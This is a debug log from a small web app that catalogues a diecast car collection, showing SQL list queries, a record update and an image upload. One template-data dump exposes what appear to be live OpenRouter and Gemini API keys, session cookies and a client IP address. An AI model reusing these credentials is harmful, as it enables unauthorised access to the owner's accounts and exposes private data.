      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:05:01.151Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:05:01.151Z server-connect:app Executing action step identify
2026-02-04T11:05:01.151Z server-connect:app options: { provider: 'security' }
2026-02-04T11:05:01.151Z server-connect:output identity: 1
2026-02-04T11:05:01.151Z server-connect:app Executing action step restrict
2026-02-04T11:05:01.151Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:05:01.152Z server-connect:output restrict: undefined
2026-02-04T11:05:01.152Z server-connect:app Executing action step paged
2026-02-04T11:05:01.152Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:05:01.155Z server-connect:output list: {
  offset: 25,
  limit: 25,
  total: 38,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 2,
    total: 2
  },
  data: [
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini Coutach LP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 110,
      model_name: 'Volvo FMX low bed truck Trailor',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-16T18:30:00.000Z',
      price: '750.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: null,
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 109,
      model_name: 'Volvo excavator EC950F',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-24T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: null,
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 108,
      model_name: 'Jeep Rubicon',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-07T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: null,
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:05:01.378Z server-connect:router Serving templateView /
2026-02-04T11:05:01.378Z server-connect:app Executing action step identify
2026-02-04T11:05:01.378Z server-connect:app options: { provider: 'security' }
2026-02-04T11:05:01.378Z server-connect:output identity: 1
2026-02-04T11:05:01.378Z server-connect:app Executing action step restrict
2026-02-04T11:05:01.378Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T11:05:01.379Z server-connect:output restrict: undefined
2026-02-04T11:05:01.379Z server-connect:app Executing action step restrict
2026-02-04T11:05:01.379Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T11:05:01.379Z server-connect:output restrict: undefined
2026-02-04T11:05:01.379Z server-connect:router Render template layouts/main
2026-02-04T11:05:01.380Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=&manufacturer=72&condition=&offset=25',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=&manufacturer=72&condition=&offset=25',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T11:05:06.799Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T11:05:06.799Z server-connect:app Executing action step identify
2026-02-04T11:05:06.799Z server-connect:app options: { provider: 'security' }
2026-02-04T11:05:06.799Z server-connect:output identity: 1
2026-02-04T11:05:06.799Z server-connect:app Executing action step restrict
2026-02-04T11:05:06.799Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:05:06.800Z server-connect:output restrict: undefined
2026-02-04T11:05:06.800Z server-connect:app Executing action step condition
2026-02-04T11:05:06.800Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T11:05:06.800Z server-connect:app Executing action step update
2026-02-04T11:05:06.800Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T11:05:06.801Z server-connect:output update: { affected: 1 }
2026-02-04T11:05:06.801Z server-connect:app Executing action step upload
2026-02-04T11:05:06.801Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T11:05:06.801Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T11:05:06.801Z server-connect:upload Process fields: 'images[]'
2026-02-04T11:05:06.801Z server-connect:upload Processing file: {
  name: 's-l1600 (11).webp',
  data: <Buffer >,
  size: 47510,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-66-20378841770203106798',
  truncated: false,
  mimetype: 'image/webp',
  md5: 'ee7c315d751255bddc14ec798d26afce',
  mv: [Function: mv]
}
2026-02-04T11:05:06.801Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_11_4a8605c1-361a-42e8-ba51-39f8eda90218.webp',
  rel: 'public/assets/images/diecast/s-l1600_11_4a8605c1-361a-42e8-ba51-39f8eda90218.webp'
}
2026-02-04T11:05:06.801Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_11_4a8605c1-361a-42e8-ba51-39f8eda90218.webp',
  rel: 'assets/images/diecast/s-l1600_11_4a8605c1-361a-42e8-ba51-39f8eda90218.webp'
}
2026-02-04T11:05:06.801Z server-connect:output upload_image: [
  {
    name: 's-l1600_11_4a8605c1-361a-42e8-ba51-39f8eda90218.webp',
    path: '/public/assets/images/diecast/s-l1600_11_4a8605c1-361a-42e8-ba51-39f8eda90218.webp',
    url: '/assets/images/diecast/s-l1600_11_4a8605c1-361a-42e8-ba51-39f8eda90218.webp',
    type: 'image/webp',
    size: 47510
  }
]
2026-02-04T11:05:06.801Z server-connect:app Executing action step repeat
2026-02-04T11:05:06.801Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T11:05:06.801Z server-connect:app Executing action step insert
2026-02-04T11:05:06.801Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T11:05:06.802Z server-connect:output images: { affected: 1, identity: 217 }
2026-02-04T11:05:06.802Z server-connect:output repeat_images: [ {} ]
2026-02-04T11:05:06.802Z server-connect:output condition: undefined
2026-02-04T11:05:07.040Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:05:07.041Z server-connect:app Executing action step identify
2026-02-04T11:05:07.041Z server-connect:app options: { provider: 'security' }
2026-02-04T11:05:07.041Z server-connect:output identity: 1
2026-02-04T11:05:07.041Z server-connect:app Executing action step restrict
2026-02-04T11:05:07.041Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:05:07.041Z server-connect:output restrict: undefined
2026-02-04T11:05:07.041Z server-connect:app Executing action step paged
2026-02-04T11:05:07.042Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:05:07.045Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 38,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 180,
